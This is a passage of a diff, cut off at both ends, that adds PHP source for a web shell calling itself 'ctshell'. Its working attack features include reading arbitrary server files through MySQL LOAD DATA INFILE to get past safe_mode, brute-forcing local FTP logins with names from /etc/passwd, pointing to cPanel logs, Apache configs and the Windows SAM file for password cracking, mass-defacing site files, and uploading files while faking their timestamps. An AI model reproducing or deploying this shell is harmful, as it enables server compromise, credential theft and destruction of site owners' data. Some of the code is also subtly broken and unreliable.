empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + } + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<form method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to :";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"60\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form>";} +} +if (in_array($sql_act,$acts)) +{ + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>SQL-Dump DB:</b><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtpl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_error();} +} +elseif ($sql_act == "dump") +{ + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "print"; + if ($dump_out == "print") {$set["print"] = 1; $set["nl2br"] = 1;} + elseif ($dump_out == "download") + { + @ob_clean(); + header("Content-type: ctshell"); + header("Content-disposition: attachment; filename=\"".$f."\";"); + $set["print"] = 1; + $set["nl2br"] = 1; + } + $set["file"] = $dump_file; + $set["add_drop"] = true; + $ret = mysql_dump($set); + if ($dump_out == "download") {exit;} +} +else +{ + $result = mysql_query("SHOW TABLE STATUS", $sql_sock) or print(mysql_error()); + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 cellPadding=1 bgColor=#333333 borderColorLight=#333333 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td>"; + echo "<td><center><b>Table</b></center></td>"; + echo "<td><b>Rows</b></td>"; + echo "<td><b>Type</b></td>"; + echo "<td><b>Created</b></td>"; + echo "<td><b>Modified</b></td>"; + echo "<td><b>Size</b></td>"; + echo "<td><b>Action</b></td>"; + echo "</tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) + { + $tsize += $row["5"]; + $trows += $row["5"]; + $size = view_size($row["5"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row[0]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".$row[0]."</b></a>&nbsp;</td>"; + echo "<td>".$row[3]."</td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td>".$size."</td>"; + echo "<td> +&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row[0]."`")."\"><img src=\"".$sul."act=img&img=sql_button_empty\" height=\"13\" width=\"11\" border=\"0\"></a> +&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row[0]."`")."\"><img src=\"".$sul."act=img&img=sql_button_drop\" height=\"13\" width=\"11\" border=\"0\"></a> +<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row[0]."`")."\"><img src=\"".$sul."act=img&img=sql_button_insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp; +</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b></b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><img src=\"".$sul."act=img&img=arrow_ltr\" border=\"0\"><select name=\"actselect\"> +<option>With selected:</option> +<option value=\"drop\" >Drop</option> +<option value=\"empty\" >Empty</option> +<option value=\"chk\">Check table</option> +<option value=\"Optimize table\">Optimize table</option> +<option value=\"Repair table\">Repair table</option> +<option value=\"Analyze table\">Analyze table</option> +</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form>"; + mysql_free_result($result); +} + } + } + else + { +$acts = array("","newdb","serverstat","servervars","processes","getfile"); +if (in_array($sql_act,$acts)) +{ + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b> :</b><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value=""></form></td><td width="30%" height="1"><b> :</b><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value=""></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php +} +if (!empty($sql_act)) +{ + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_error();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = 'KILL ' . $kill . ';'; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td>STATE</td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + elseif (($sql_act == "getfile")) + { + if (!mysql_create_db("tmp_bd")) {echo mysql_error();} + elseif (!mysql_select_db("tmp_bd")) {echo mysql_error();} + elseif (!mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );')) {echo mysql_error();} + else {mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $query = "SELECT * FROM tmp_file"; $result = mysql_query($query); if (!$result) {echo "Error in query \"".$query."\": ".mysql_error();} + else + { +for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} +$f = ""; +while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {foreach ($line as $key =>$col_value) {$f .= $col_value;}} +if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b>";} +else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f));} + } + mysql_free_result($result); + if (!mysql_drop_db("tmp_bd")) {echo ("Can't drop tempory DB \"tmp_bd\"!");} + } + } +} + } + } + echo "</tr></table></table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) {if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}} + echo "<br><br>"; + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if ($win) {echo "This functions not work in Windows!<br><br>";} + else + { + function ctftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { +if ($fqb_onlywithsh) +{ + if (!in_array($sh,array("/bin/bash","/bin/sh","/usr/local/cpanel/bin/jailshell"))) {$true = false;} + else {$true = true;} +} +else {$true = true;} +if ($true) +{ + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return true; + } +} + } + if (!empty($submit)) + { +if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} +$fp = fopen("/etc/passwd","r"); +if (!$fp) {echo "Can't get /etc/passwd for password-list.";} +else +{ + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (ctftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { +$success++; + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!<br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=\"green\"><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br><b>Connects per second: ".round($i/$ftpquick_t,2)."</b><br>"; +} + } + else {echo "<form method=\"POST\"><br>Read first: <input type=\"text\" name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br><input type=\"submit\" name=\"submit\" value=\"Brute\"></form>";} + } +} +if ($act == "lsa") +{ + echo "<center><b> :</b></center>"; + echo "<b> :</b> ".PHP_OS.", ".$SERVER_SOFTWARE."<br>"; + echo "<b>: ".$hsafemode."</b><br>"; + echo "<b> : ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { +if ($nixpasswd == 1) {$nixpasswd = 0;} +$num = $nixpasswd + $nixpwdperpage; +echo "<b>*nix /etc/passwd:</b><br>"; +$i = $nixpasswd; +while ($i < $num) +{ + $uid = posix_getpwuid($i); + if ($uid) {echo join(":",$uid)."<br>";} + $i++; +} + } + else {echo "<br><a href=\"".$sul."act=lsa&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=\"green\"><a href=\"".$sul."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=\"green\"><a href=\"".$sul."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$sul."act=f&f=httpd.conf&d=/usr/local/apache/conf/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$sul."act=f&f=httpd.conf&d=/etc/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=\"red\">You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=\"green\"> winnt . <a href=\"".$sul."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b></b></u></a>, c lcp.crack+.</font></b><br>";} + } +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else + { + echo "<b>File-System buffer</b><br><br>"; + $ls_arr = $arr; + $disp_fullpath = true; + $act = "ls"; + } +} +if ($act == "selfremove") +{ + if (!empty($submit)) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ctshell v.".$cv."!"; exit; } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + $v = array(); + for($i=0;$i<8;$i++) {$v[] = "<a href=\"".$sul."\"><u><b>NO</b></u></a>";} + $v[] = "<a href=\"#\" onclick=\"if (confirm('Are you sure?')) document.location='".$sul."act=selfremove&submit=1';\"><u>YES</u></a>"; + shuffle($v); + $v = join("&nbsp;&nbsp;&nbsp;",$v); + echo "<b>: ".__FILE__." <br> ?</b><center>".$v."</center>"; + } +} +if ($act == "massdeface") +{ + if (empty($deface_in)) {$deface_in = $d;} + if (empty($deface_name)) {$deface_name = "(.*)"; $deface_name_regexp = 1;} + if (empty($deface_text_wwo)) {$deface_text_regexp = 0;} + + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + + $text = $deface_text; + $text_regexp = $deface_text_regexp; + if (empty($text)) {$text = " "; $text_regexp = 1;} + + $a = array + ( +"name"=>$deface_name, "name_regexp"=>$deface_name_regexp, +"text"=>$text, "text_regexp"=>$text_regxp, +"text_wwo"=>$deface_text_wwo, +"text_cs"=>$deface_text_cs, +"text_not"=>$deface_text_not + ); + $defacetime = getmicrotime(); + $in = array_unique(explode(";",$deface_in)); + foreach($in as $v) {ctfsearch($v);} + $defacetime = round(getmicrotime()-$defacetime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { +$ls_arr = $found; +$disp_fullpath = true; +$act = $dspact = "ls"; + } + } + else + { + if (empty($deface_preview)) {$deface_preview = 1;} + + } + echo "<form method=\"POST\">"; + if (!$submit) {echo "<big><b>Attention! It's a very dangerous feature, you may lost your data.</b></big><br><br>";} + echo "<input type=\"hidden\" name=\"d\" value=\"".$dispd."\"> +<b>Deface for (file/directory name): </b><input type=\"text\" name=\"deface_name\" size=\"".round(strlen($deface_name)+25)."\" value=\"".htmlspecialchars($deface_name)."\">&nbsp;<input type=\"checkbox\" name=\"deface_name_regexp\" value=\"1\" ".gchds($deface_name_regexp,1," checked")."> - regexp +<br><b>Deface in (explode \";\"): </b><input type=\"text\" name=\"deface_in\" size=\"".round(strlen($deface_in)+25)."\" value=\"".htmlspecialchars($deface_in)."\"> +<br><br><b>Search text:</b><br><textarea name=\"deface_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($deface_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"deface_text_regexp\" value=\"1\" ".gchds($deface_text_regexp,1," checked")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"deface_text_wwo\" value=\"1\" ".gchds($deface_text_wwo,1," checked")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"deface_text_cs\" value=\"1\" ".gchds($deface_text_cs,1," checked")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"deface_text_not\" value=\"1\" ".gchds($deface_text_not,1," checked")."> - find files <u>NOT</u> containing the text +<br><input type=\"checkbox\" name=\"deface_preview\" value=\"1\" ".gchds($deface_preview,1," checked")."> - <b>PREVIEW AFFECTED FILES</b> +<br><br><b>Html of deface:</b><br><textarea name=\"deface_html\" cols=\"122\" rows=\"10\">".htmlspecialchars($deface_html)."</textarea> +<br><br><input type=\"submit\" name=\"submit\" value=\"Deface\"></form>"; + if ($act == "ls") {echo "<hr size=\"1\" noshade><b>Deface took ".$defacetime." secs</b><br><br>";} +} +if ($act == "search") +{ + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $a = array + ( +"name"=>$search_name, "name_regexp"=>$search_name_regexp, +"text"=>$search_text, "text_regexp"=>$search_text_regxp, +"text_wwo"=>$search_text_wwo, +"text_cs"=>$search_text_cs, +"text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) + { +ctfsearch($v); + } + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { +$ls_arr = $found; +$disp_fullpath = true; +$act = $dspact = "ls"; + } + } + echo "<form method=\"POST\"> +<input type=\"hidden\" name=\"d\" value=\"".$dispd."\"> +<b>Search for (file/directory name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".gchds($search_name_regexp,1," checked")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".gchds($search_text_regexp,1," checked")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".gchds($search_text_wwo,1," checked")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".gchds($search_text_cs,1," checked")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".gchds($search_text_not,1," checked")."> - find files <u>NOT</u> containing the text +<br><br><input type=\"submit\" name=\"submit\" value=\"Search\"></form>"; + if ($act == "ls") {echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs</b><br><br>";} +} +if ($act == "chmod") +{ + $perms = fileperms($d.$f); + if (!$perms) {echo "Can't get current mode.";} + elseif ($submit) + { + if (!isset($owner[0])) {$owner[0] = 0;} + if (!isset($owner[1])) {$owner[1] = 0; } + if (!isset($owner[2])) {$owner[2] = 0;} + if (!isset($group[0])) {$group[0] = 0;} + if (!isset($group[1])) {$group[1] = 0;} + if (!isset($group[2])) {$group[2] = 0;} + if (!isset($world[0])) {$world[0] = 0;} + if (!isset($world[1])) {$world[1] = 0;} + if (!isset($world[2])) {$world[2] = 0;} + $sum_owner = $owner[0] + $owner[1] + $owner[2]; + $sum_group = $group[0] + $group[1] + $group[2]; + $sum_world = $world[0] + $world[1] + $world[2]; + $sum_chmod = "0".$sum_owner.$sum_group.$sum_world; + $ret = @chmod($d.$f, $sum_chmod); + if ($ret) {$act = "ls";} + else {echo "<b> (".$d.$f.")</b>: <br>";} + } + else + { + echo "<center><b> </b><br>"; + $perms = view_perms(fileperms($d.$f)); + $length = strlen($perms); + $owner_r = $owner_w = $owner_x = + $group_r = $group_w = $group_x = + $world_r = $world_w = $group_x = ""; + + if ($perms[1] == "r") {$owner_r = " checked";} if ($perms[2] == "w") {$owner_w = " checked";} + if ($perms[3] == "x") {$owner_x = " checked";} if ($perms[4] == "r") {$group_r = " checked";} + if ($perms[5] == "w") {$group_w = " checked";} if ($perms[6] == "x") {$group_x = " checked";} + if ($perms[7] == "r") {$world_r = " checked";} if ($perms[8] == "w") {$world_w = " checked";} + if ($perms[9] == "x") {$world_x = " checked";} + echo "<form method=\"POST\"><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value='".htmlspecialchars($f)."'> +<input type=hidden name=act value=chmod><input type=hidden name=submit value=1><input type=hidden name='owner[3]' value=no_error> +<input type=hidden name='group[3]' value=no_error><input type=hidden name='world[3]' value=no_error> +<table class=table1><tr><td class=td2><table class=table1 align=center width=300 border=0 cellspacing=0 cellpadding=5><tr><td class=td2><b>Owner</b><br><br> +<input type=checkbox NAME=owner[0] value=4".$owner_r.">Read<br><input type=checkbox NAME=owner[1] value=2".$owner_w.">Write<br> +<input type=checkbox NAME=owner[2] value=1".$owner_x.">Execute</font></td><td class=td2><b>Group</b><br><br> +<input type=checkbox NAME=group[0] value=4".$group_r.">Read<br> +<input type=checkbox NAME=group[1] value=2".$group_w.">Write<br> +<input type=checkbox NAME=group[2] value=1".$group_x.">Execute</font></td> +<td class=td2><b>World</b><br><br><input type=checkbox NAME=world[0] value=4".$world_r.">Read<br> +<input type=checkbox NAME=world[1] value=2".$world_w.">Write<br> +<input type=checkbox NAME=world[2] value=1".$world_x.">Execute</font></td> +</tr></table></td></tr><tr align=center><td><input type=submit name=chmod value=\"\"></td></tr></table></FORM></center>"; + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\","/",$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,strlen($uploadpath)-1,1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile[tmp_name])) + { +if (empty($uploadfilename)) {$destin = $uploadfile[name];} +else {$destin = $userfilename;} +if (!move_uploaded_file($uploadfile[tmp_name],$uploadpath.$destin)) {$uploadmess .= ", ".$uploadfile[name]." ( \"".$uploadfile[tmp_name]."\" \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { +if (!empty($uploadfilename)) {$destin = $uploadfilename;} +else +{ + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} +} +if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} +else +{ + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= " !<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= ", ".htmlspecialchars($destin)."!<br>";} + else + { +fwrite($fp,$content,strlen($content)); +fclose($fp); +if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } +} + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b> :</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$sul."act=upload&d=".urlencode($d)."\" method=\"POST\"> + : <br><input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br> + URL: <br><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> + : <br><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> + : <br><input name=uploadfilename size=25> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp; <br><br> +<input type=\"submit\" name=\"submit\" value=\"\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = false; + $result = fs_rmobj($v); + if (!$result) {$delerr .= " ".htmlspecialchars($v)."<br>";} + if (!empty($delerr)) {echo "<b> :</b><br>".$delerr;} + } + $act = "ls"; +} +if ($act == "onedelete") +{ + $delerr = ""; + $result = false; + $result = fs_rmobj($f); + if (!$result) {$delerr .= " ".htmlspecialchars($f)."<br>";} + if (!empty($delerr)) {echo "<b> :</b><br>".$delerr;} + $act = "ls"; +} +if ($act == "onedeleted") +{ + $delerr = ""; + $result = false; + $result = fs_rmobj($d+'/'+$f); + if (!$result) {$delerr .= " ".htmlspecialchars($f)."<br>";} + if (!empty($delerr)) {echo "<b> :</b><br>".$delerr;} + $act = "ls"; +} +if ($act == "deface") +{ + $deferr = ""; + foreach ($actbox as $v) + { + $data = $deface_html; + if (eregi("%%%filedata%%%",$data)) {$data = str_replace("%%%filedata%%%",file_get_contents($v),$data);} + $data = str_replace("%%%filename%%%",basename($v),$data); + $data = str_replace("%%%filepath%%%",$v,$data); + $fp = @fopen($v,"w"); + fwrite($fp,$data); + fclose($fp); + if (!$result) {$deferr .= "Can't deface ".htmlspecialchars($v)."<br>";} + if (!empty($delerr)) {echo "<b>Defacing with errors:</b><br>".$deferr;} + } +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"USEFSBUFF\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ct_sess_put($sess_data); $act = "ls";} + if ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ct_sess_put($sess_data); $act = "ls";} + if ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} $ls_arr = array_merge($sess_data["copy"],$sess_data["cut"]); ct_sess_put($sess_data); $act = "ls";} + + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ct_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { +$to = $d.basename($v); +if (!fs_copy_obj($v,$d)) {$psterr .= " ".$v." to ".$to."!<br>";} +if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { +$to = $d.basename($v); +if (!fs_move_obj($v,$d)) {$psterr .= " ".$v." to ".$to."!<br>";} +unset($sess_data["cut"][$k]); + } + 